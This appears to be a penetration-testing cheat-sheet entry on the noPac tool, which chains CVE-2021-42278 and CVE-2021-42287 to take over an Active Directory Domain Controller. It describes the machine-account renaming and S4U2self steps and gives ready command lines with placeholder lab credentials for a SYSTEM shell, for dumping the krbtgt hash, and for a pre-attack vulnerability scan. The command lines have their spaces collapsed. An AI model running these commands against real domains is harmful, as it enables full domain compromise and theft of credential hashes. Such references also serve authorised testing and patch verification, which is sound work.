noPac.py (Ridter) chains CVE-2021-42278 (sAMAccountName spoofing) and CVE-2021-42287 (KDC PAC confusion) to escalate from a low-privileged domain user to SYSTEM on the Domain Controller. It adds a new machine account, renames its sAMAccountName to match the DC (dropping the trailing $), requests a TGT, restores the name, then performs S4U2self to obtain a service ticket impersonating a Domain Admin. Requires MachineAccountQuota > 0 (default 10) and a DC unpatched against the November 2021 fixes. Use -shell for an interactive SYSTEM shell via smbexec or -dump to run secretsdump against the DC.
Command Reference:
Domain: test.local
Username: john
Password: password123
DC IP: 10.10.10.1
DC host: DC01
Impersonate: administrator
# Interactive SYSTEM shell on the DCpython3noPac.pytest.local/john:password123-dc-ip10.10.10.1-dc-hostDC01--impersonateadministrator-use-ldap-shell# Dump the krbtgt hash via secretsdumppython3noPac.pytest.local/john:password123-dc-ip10.10.10.1-dc-hostDC01--impersonateadministrator-use-ldap-dump-just-dc-userkrbtgt
scanner.py ships with Ridter's noPac and safely checks whether a Domain Controller is exploitable via the sAMAccountName spoofing chain without adding or renaming any accounts. It authenticates as a normal domain user and reports the current MachineAccountQuota and whether the DC is patched against CVE-2021-42278 / CVE-2021-42287. Run it first as a low-noise reconnaissance step before launching the full noPac.py exploit.
Command Reference:
Domain: test.local
Username: john
Password: password123
DC IP: 10.10.10.1